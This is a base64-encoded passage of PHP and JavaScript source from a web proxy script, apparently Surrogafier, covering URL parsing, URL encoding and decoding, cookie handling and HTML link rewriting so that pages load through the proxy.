9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpOyA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdcbicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6IitwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpOw0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbihzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5OyB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpIHJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PS